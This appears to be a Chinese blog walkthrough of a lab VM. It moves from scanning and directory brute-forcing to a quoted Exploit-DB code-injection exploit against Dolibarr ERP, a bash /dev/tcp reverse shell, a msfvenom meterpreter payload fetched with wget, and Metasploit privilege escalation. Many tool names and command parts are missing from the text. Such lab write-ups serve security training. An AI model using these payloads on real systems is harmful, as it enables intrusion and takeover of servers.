靶机下载链接:
点我直接下载靶机
如果不会导入上的靶机,请点击我直达发车文章 在下面的操作中如果有不懂的可以直接私信博主 渗透概括 web域名破解子域爆破web目录爆破搭建(用于配置靶机web)php代码注入制作反弹的模块提权 虚拟机的IP配置
通过arp- -l来获取当前网段的存活ip。
再根据创建虚拟机的时候的MAC地址就可以拿到靶机的IP
渗透目标: 第一步:信息收集
我们这里用nmap -sS -sV -A -T4 -p- IP对靶机进行全端口综合扫描
扫描结果如下
通过nmap扫描发现开放了http/80和ssh/22这两个端口,ssh的服务一般除了弱口令就没什么可以直接利用的洞了(如果有,一点要私信博主讨论)
第二步:渗透测试
看来这个靶机渗透思路就是要从http下手了,我们接下来访问一下这个靶机的web服务
发现是一个搭建的网站,这个页面是的默认页(这里挺奇怪的,nmap扫的时候中间件是,结果主页却是,有点奇怪的东西在里面)
Ctrl+u查看网页的源码,也没发现什么特别的地方。如下两图
既然都没有我们就直接用爆破目录
发现居然什么都没有扫描到,只有一个主界面的.html文件(下图)
gobuster dir -u http://192.168.100.33/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
后来博主在一个渗透大佬那了解到,要给这个靶机一个"doli.thm"的域名和一个"erp.doli.thm"的子域(这个子域是爆出来的)
根据如下操作给文件添加这个靶机的ip和域名解析
PS:该靶机的项目
第三步:php代码注入
我们用" doli"搜一下这个项目的exp
发现了一个PHP的代码注入的说明文件。
我们cat一下看看这个说明文件,如下
┌──(root㉿kali)-[~]
└─# cat /usr/share/exploitdb/exploits/php/webapps/44964.txt
# Exploit Title: Unauthenticated Remote Code evaluation in Dolibarr ERP CRM =<7.0.3
# Date: 06/29/2018
# Exploit Author: om3rcitak - https://omercitak.com
# Vendor Homepage: https://dolibarr.org
# Software link: https://github.com/Dolibarr/dolibarr
# Version: =<7.0.3
# Tested on: Unix, Windows
## Technical Details
URL: http://{domain}/{dolibarr_path}/install/step1.php
Parameter Name: db_name
Parameter Type: POST
Attack Pattern: x\';system($_GET[cmd]);//
## Steps to reproduce the behavior
- Go to fresh install page.
- Click "Next Step" button for create example config file (conf/conf.php)
- Send this request:
```
POST {dolibarr_path}/install/step1.php HTTP/1.1
Host: {domain}
testpost=ok&action=set&main_dir=C%3A%2FAmpps%2Fwww&main_data_dir=C%3A%2FAmpps%2Fwww%2Fdocuments&main_url=http%3A%2F%2Flocalhost+&db_name=x%5C%27%3Bsystem(%24_GET%5Bcmd%5D)%3B%2F%2F&db_type=mysqli&db_host=localhost&db_port=3306&db_prefix=llx_&db_create_database=on&db_user=root&db_pass=root&db_create_user=on&db_user_root=root&db_pass_root=root&selectlang=auto
```
- Visit url and run the command: `http://{domain}/{dolibarr_path}/install/check.php?cmd=cat /etc/passwd`
## Timeline
- 06/29/2018 18:30 - Found vulnerability.
- 06/29/2018 18:44 - Report vendor.
- 06/29/2018 20:38 - Vulnerability fixed by vendor.
GitHub Issue: https://github.com/Dolibarr/dolibarr/issues/9032
这个说明文件大概内容就是
通过修改这个数据库的配置文件发出请求的(改为这个说明文件上面的exp代码就可以完成注入)
然后再通过这个网站的//.php的安装文件来利用这个注入进去的代码
那么下面开始实操
我们通过工具来爆一下//下面的目录
dir -u -w /usr////-list-2.3-.txt -x php
发现了一个.php的php文件,并且302到的位置有一个/Seth.php?=ok的参数,所以是这个文件没错了
那么我们访问一下这个php文件
我们直接拉到这个网站最底下,点击这个star按钮
点击那个按钮之后即可跳转到如下的配置界面
下面的操作需要在Kali搭建数据库(可以先自己看看教程),否则无法利用
根据那个.txt说明文件数据库搭建好之后我们需要使用来抓包,来修改字段
点击那个按钮之后我们的就会弹出来,如下图
我们需要修改参数里面的值
=x%5C%27%(%%%5D)%3B%2F%2F
发送之后我们接下再来访问一下.php界面
会发现自动跳转到了Seth.php界面了,如下图
我们现在给Seth.php传一下cmd=,发现正常返回了当前的用户名了
第四步:!!!
我们使用kali利用nc工具监听一下1234端口,用于获取反弹
我们在给cmd参数注入如下命令,然后回车
bash+-c+%+-i+%3E%26+/dev/tcp/192.168.100.7/1234+0%3E%261%27
可以看到下图,我们的nc监听的端口拿到了web反弹下来的了
第五步:提权
我们对的日志目录进行审查一下,如下
#到/var/log/nginx目录下
www-data@Doli:/tmp$ cd /var/log/nginx
#用ls =al发现有一个.bk的可疑文件
www-data@Doli:/var/log/nginx$ ls -al
total 535240
drwxr-xr-x 3 root adm 4096 Mar 22 2021 .
drwxrwxr-x 10 root syslog 4096 Nov 26 15:35 ..
drwxr-xr-x 2 www-data www-data 4096 Mar 22 2021 .bk
-rw-r----- 1 www-data adm 338119216 Nov 26 23:52 access.log
-rw-r----- 1 www-data adm 209943239 Nov 26 23:43 error.log
#cd到这个.bk文件里面
www-data@Doli:/var/log/nginx$ cd .bk
#再用ls -al看一下,发现了一个access.log.bk文件
www-data@Doli:/var/log/nginx/.bk$ ls -al
total 180
drwxr-xr-x 2 www-data www-data 4096 Mar 22 2021 .
drwxr-xr-x 3 root adm 4096 Mar 22 2021 ..
-rw-r----- 1 www-data www-data 175190 Mar 21 2021 access.log.bk
我们用cat看看这个.log.bk文件,往里下面慢慢翻,发现了一个被编码的GET请求
172.16.1.1 - - [20/Mar/2021:13:03:38 +0000] "GET/5455644852464247526b464a526b4e4254455a435155314752304651516b5a4653554e4453464243526b564a5304e45544564435245314652304a4c5155464754304646526b74425155593d HTTP/1.1" 403 152 "-""Mozilla/5.0 (X11; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"
我们现在找找其他的关键线索
前往/opt目录找找,如下操作
#我们现在切换到/opt目录
www-data@Doli:/var/log/nginx/.bk$ cd /opt
#用ls -al看一下,发现了一个ViewMe.png文件
www-data@Doli:/opt$ ls -al
total 44
drwxr-xr-x 4 root root 4096 Mar 22 2021 .
drwxr-xr-x 23 root root 4096 Nov 26 15:35 ..
-rw-r--r-- 1 www-data www-data 21494 Oct 22 2013 ViewMe.png
drwxrwxr-x+ 2 c3p0 c3p0 4096 Mar 21 2021 playbooks
dr-------- 2 root root 4096 Mar 21 2021 secrets
-rwxrwxr-x 1 root m3dsec 55 Mar 22 2021 stewie.el
我们把这个文件拷贝到这个网站的install目录下
www-data@Doli:/opt$ cp ViewMe.png /var/www/dolibarr/htdocs/install/
我们通过访问
如下,发现了一个写着一个CiTR!X的字样(盲猜编码),这应该是一个加密方法
我们访问 (gchq..io)这个页面,对我们上面获得编码信息进行解码
可以看到处就出现了一个@@的密码
如下图,我们到/home目录下看到工号有一个c3p0的用户
我们用我们获取到的密码ssh登录一下c3p0这个用户,如下图,成功登录
我们现在回到kali里面去 ,用生成一个的载荷
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.100.7 LPORT=5678 -f elf > shell.elf
再拿开一个http服务,好用靶机的wget下载这个生成好的文件
我们再开一个终端,进入msf里面,使用//模块并配置一下监听地址和
如下图操作所示
现在我们再到ssh连接的这里来,用wget下载一下这个
并且用" +x .elf"命令给这个文件一个执行权限,并用./.elf执行这个文件
执行完之后,我们就会发现我们之前在msf的模块已经监听到了反弹过来的
我们在这里执行一下""命令,把这个会话保存到后台去
我们使用msf的"//"模块给靶机提权
根据下图进行操作
攻击成功之后,我们用命令进入到靶机的命令行,进行如下操作
获取到flag之后我们的靶机就已经渗透完成